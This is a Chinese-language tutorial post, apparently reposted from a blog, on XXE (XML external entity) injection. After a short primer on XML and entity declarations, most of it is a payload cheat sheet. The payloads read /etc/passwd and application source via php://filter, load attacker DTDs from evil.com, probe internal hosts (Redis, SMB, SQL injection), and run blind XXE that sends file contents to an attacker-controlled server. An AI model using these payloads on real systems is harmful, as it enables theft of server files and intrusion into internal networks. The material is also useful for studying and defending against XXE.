原文鏈接：http://wyb0.com/posts/xxe/
0x00 XXE
XXE漏洞是針對使用XML交互的Web應用程序的攻擊方法
XML文件作為配置文件(spring、Struts2等)、文檔結構說明文件(PDF、RSS等)、圖片格式文件(SVG header)應用比較廣泛
0x01 XML格式
<?xml version="1.0" encoding="utf-8"?> <!--xml聲明-->
<!--文檔類型定義-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!--文檔元素-->
<note>
<to>Tom</to>
<from>John</from>
<heading>Reminder</heading>
<body>Hi,I’am John</body>
</note>
0x02 內部聲明與外部引用
<!--內部聲明實體-->
<!ENTITY 實體名稱 "實體的值">
<!--引用外部實體-->
<!ENTITY 實體名稱 SYSTEM "URI">
0x03 XXE漏洞
- 外部引用時可能會出現漏洞，幾種payload：
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<test>&xxe;</test>
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://evil.com/evil.dtd" >
%d;
]>
<test>&b;</test>
evil.dtd中的內容為：<!ENTITY b SYSTEM "file:///etc/passwd" >
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evil.com/evil.dtd">
<test>&b;</test>
evil.dtd中的內容為：<!ENTITY b SYSTEM "file:///etc/passwd" >
- 簡單繞過
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
- 掃描內網
<!ENTITY portscan SYSTEM 'http://192.168.2.22:6379/'>
<!ENTITY smb SYSTEM '\\192.168.2.22\C$'>
<!ENTITY sqli SYSTEM 'http://192.168.2.22/a.php?id=-1+union+select+1,2,3--'>
- Blind-XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % ttt SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://Your IP/evil.xml">
%remote; <!--引用remote來將外部文件evil.xml引入到解釋上下文中-->
%payload; <!--執行%payload，這時會檢測到send實體，然后在root節點中引用send，就可以成功實現數據轉發-->
]>
<root>&send;</root>
<!--evil.xml內容：-->
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://Your IP/a.php?content=%ttt;'>">
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
%send;
]>
<!--evil.xml內容：-->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
